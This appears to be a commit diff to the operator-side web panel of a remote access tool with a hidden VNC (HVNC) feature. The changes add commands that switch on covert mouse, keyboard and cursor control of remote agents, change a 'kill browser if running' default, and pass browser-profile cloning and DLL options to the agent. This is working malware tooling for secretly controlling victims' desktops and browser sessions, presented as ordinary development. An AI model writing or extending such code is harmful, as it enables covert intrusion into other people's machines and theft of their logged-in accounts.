huge HVNC imporvements
This commit is contained in:
@@ -66,6 +66,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
const agentFps = document.getElementById("agentFps");
|
||||
const viewerFps = document.getElementById("viewerFps");
|
||||
const statusEl = document.getElementById("streamStatus");
|
||||
|
||||
function syncInputEnableState() {
|
||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||
if (cursorCtrl) sendCmd("hvnc_enable_cursor", { enabled: cursorCtrl.checked });
|
||||
}
|
||||
let activeClientId = clientId;
|
||||
let renderCount = 0;
|
||||
let renderWindowStart = performance.now();
|
||||
@@ -232,6 +238,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
sendCmd("hvnc_start", {
|
||||
autoStartExplorer: false,
|
||||
});
|
||||
syncInputEnableState();
|
||||
} else {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
@@ -475,6 +482,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
sendCmd("hvnc_start", {
|
||||
autoStartExplorer: false,
|
||||
});
|
||||
syncInputEnableState();
|
||||
});
|
||||
stopBtn.addEventListener("click", function () {
|
||||
desiredStreaming = false;
|
||||
@@ -673,6 +681,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
|
||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||
}
|
||||
sendCmd("hvnc_start", { autoStartExplorer: false });
|
||||
syncInputEnableState();
|
||||
} else {
|
||||
setStreamState("idle", "Stopped");
|
||||
}
|
||||
|
||||
@@ -176,7 +176,7 @@
|
||||
<span class="text-xs text-slate-300">Lite clone (no extensions)</span>
|
||||
</label>
|
||||
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
|
||||
<input type="checkbox" id="hvncKillIfRunningToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<input type="checkbox" id="hvncKillIfRunningToggle" class="accent-violet-500 w-4 h-4 rounded" />
|
||||
<span class="text-xs text-slate-300">Kill browser if running</span>
|
||||
</label>
|
||||
<button
|
||||
|
||||
@@ -713,7 +713,7 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
path: String(payload.path || ""),
|
||||
clone: payload.clone !== false,
|
||||
cloneLite: payload.cloneLite === true,
|
||||
killIfRunning: payload.killIfRunning !== false,
|
||||
killIfRunning: payload.killIfRunning === true,
|
||||
dll: dllData,
|
||||
});
|
||||
break;
|
||||
|
||||
Reference in New Issue
Block a user